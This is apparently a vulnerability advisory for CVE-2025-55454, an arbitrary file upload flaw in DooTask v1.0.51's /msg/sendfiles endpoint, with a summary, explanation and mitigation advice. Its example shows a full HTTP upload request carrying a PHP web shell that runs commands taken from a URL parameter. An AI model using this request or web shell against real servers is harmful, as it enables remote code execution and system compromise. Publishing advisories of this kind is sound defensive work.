Overview
In this article, we delve into a critical vulnerability identified as CVE-2025-55454, which affects DooTask v1.0.51. The vulnerability is a severe risk as it allows an attacker to execute arbitrary code by uploading a crafted file. Any organization or individual using this software version is potentially at risk, and the vulnerability warrants immediate attention due to its potential for system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-55454
Severity: High (CVSS score of 8.8)
Attack Vector: Network
Privileges Required: User level
User Interaction: Required
Impact: System compromise and potential data leakage
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Product | Affected Versions
DooTask | v1.0.51
How the Exploit Works
The exploit takes advantage of an arbitrary file upload vulnerability in the /msg/sendfiles component of DooTask v1.0.51. An attacker, who has already authenticated on the network, can exploit this vulnerability by crafting a malicious file and uploading it via the affected component. Once uploaded, the file can be executed, allowing the attacker to run arbitrary code on the system.
Conceptual Example Code
Here’s a conceptual example of how an attacker might exploit this vulnerability:
POST /msg/sendfiles HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7ma4YWxkTrZu0gW
------WebKitFormBoundary7ma4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="evilscript.php"
Content-Type: application/x-php
<?php
system($_GET['cmd']);
?>
------WebKitFormBoundary7ma4YWxkTrZu0gW--In this example, the attacker sends a POST request to the vulnerable /msg/sendfiles endpoint with a malicious PHP script. Once uploaded, the script can be invoked to execute arbitrary system commands.
Mitigation
The recommended action is to apply the vendor-provided patch as soon as possible. In the interim, organizations can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability.